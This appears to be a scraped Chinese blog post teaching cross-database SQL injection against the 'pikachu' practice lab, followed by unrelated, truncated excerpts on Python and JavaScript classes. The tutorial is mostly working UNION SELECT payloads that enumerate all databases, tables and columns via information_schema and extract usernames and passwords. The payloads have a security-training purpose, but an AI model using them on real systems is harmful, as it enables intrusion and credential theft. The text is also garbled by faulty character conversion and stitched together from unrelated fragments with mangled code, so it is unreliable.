class2 跨庫注入

2021-10-02 23:20:46 字數 902 閱讀 9646

如果要應用跨庫注入,有乙個條件,那就是當前資料庫使用者必須為root使用者,才可以對整個資料庫進行操作

確定使用者:

user()確定使用者

如果回顯為root@localhost或者[email protected]只要@號前面為root,則代表該資料庫使用者為root

跨庫注入過程:

第一步:

獲取當前所有的資料庫:

存有所有資料庫的表名為:

information_schema.schemata儲存所有資料庫

schema_name資料庫名

獲取當前所有資料庫:

union select 1,group_concat(schema_name),3 from information_schema.schemata

第二步:

獲取你要注入的資料庫的表名稱:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=『pikachu』

第三步:

獲取你要注入的資料庫的列名稱:

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=『users』 and table_schema=『pikachu』

第四步:

獲取你要注入的資料庫的資料:

union select 1,group_concat(username),group_concat(password) from pikachu.users

跨庫注入和普通注入的區別在**?

跨庫注入首先要獲取所有資料庫名稱

在查詢表名,列名時,必須限定你要注入的資料庫名稱

物件導向程式設計(class) 2

繼承是物件的特性之一 子類會覆蓋父類的相同方法,如何使用父類相同的方法 classp def init self,name self.name name class c p def init self,name,age self.age age 呼叫父類相同的方法 super init name 單...

物件導向程式設計 類 class 2

公共成員 可以在類的外部訪問到。我們之前接觸到的都是公共成員 私有成員 只能在該類的內部才能直接訪問到的 子類也不能直接訪問 在外部,可以通過間接方法才能取得。以欄位 普通欄位和靜態字段相同 為例,開頭加 雙下劃線 使欄位變為私有字段 方法也一樣,方法名前面加 雙下劃線 即可。class db de...

js ES6學習筆記 Class(2)

1 與函式一樣,類也可以使用表示式的形式定義。const myclass class me 這個類的名字是myclass而不是me,me只在class的內部 可用,指代當前類。如果類的內部沒用到的話,可以省略me,也就是可以寫成下面的形式。2 採用class表示式,可以寫出立即執行的class。le...